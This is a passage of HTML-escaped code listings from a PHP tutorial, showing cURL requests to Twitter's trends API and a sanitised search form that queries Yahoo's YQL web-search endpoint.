&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= json_decode(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;h2&gt;



Twitter trending topics (&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;as_of.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;)&lt;/h2&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;foreach&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;trends &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;as&lt;/code&gt; &lt;code class=&quot;variable&quot;&gt;$t&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;
&lt;li&gt;&lt;a href=&quot;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$t&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;url.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&quot;&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$t&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;-&gt;name.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/a&gt;&lt;/li&gt;
&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;}&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;/ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;



Putting It All Together&lt;/h3&gt;&lt;p&gt;

Let&#39;s do a quick example using all of the things we&#39;ve learned so far: a simple search interface for the Web.&lt;/p&gt;&lt;p&gt;

Using &lt;a href=&quot;http://developer.yahoo.com/yql/&quot;&gt;Yahoo&#39;s YQL&lt;/a&gt;, it is pretty easy to do a Web search for &quot;cat&quot; with the command &lt;code&gt;select * from search.web where query=&quot;cat&quot;&lt;/code&gt; sent to the YQL endpoint. You can define JSON as the return format, and the rest means you simply &lt;a href=&quot;http://icant.co.uk/articles/phpforhacks/index.php?demo=17&quot;&gt;enhance the earlier form example&lt;/a&gt;:&lt;/p&gt;&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_820435&quot;&gt;



&lt;div class=&quot;lines&quot;&gt;



&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_html&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= filter_input(INPUT_GET, &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, FILTER_SANITIZE_SPECIAL_CHARS);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= filter_input(INPUT_GET, &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, FILTER_SANITIZE_ENCODED);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;?&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;form action=&lt;/code&gt;



&lt;code class=&quot;string&quot;&gt;&quot;index.php&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;method=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;get&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;06&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;div&gt;



&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;07&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;label &lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;search&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;Search:&lt;/label&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;08&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;input type=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;text&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;s&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;id=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;search&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;09&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;value=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;&lt;?php echo $search_html;?&gt;&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;input type=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;name=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;demo&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;value=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;17&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;input type=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;value=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;Make it so&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/div&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;/form&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;?php&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;keyword&quot;&gt;if&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;(isset(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$_GET&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;[&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;s&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;])){&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;16&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;h2&gt;



You searched for &#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_html&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;/h2&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;17&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$yql&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;select * from search.web where query=&quot;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$search_url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&quot;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;18&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= &lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&lt;a href=&quot;http://query.yahooapis.com/v1/public/yql?q=&quot;&gt;http://query.yahooapis.com/v1/public/yql?q=&lt;/a&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;.&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;19&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;urlencode(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$yql&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;).&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&#39;&amp;amp;format=json&amp;amp;diagnostics=false&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;20&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_init();&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;21&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_URL, &lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$url&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;22&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_setopt(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;, CURLOPT_RETURNTRANSFER, 1);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;23&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= curl_exec(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;24&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;curl_close(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$ch&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;25&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$data&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;= json_decode(&lt;/code&gt;&lt;code class=&quot;variable&quot;&gt;$output&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;);&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;26&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;functions&quot;&gt;echo&lt;/code&gt; &lt;code class=&quot;string&quot;&gt;&#39;&lt;ul&gt;&#39;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;



&lt;table&gt;&lt;tbody&gt;
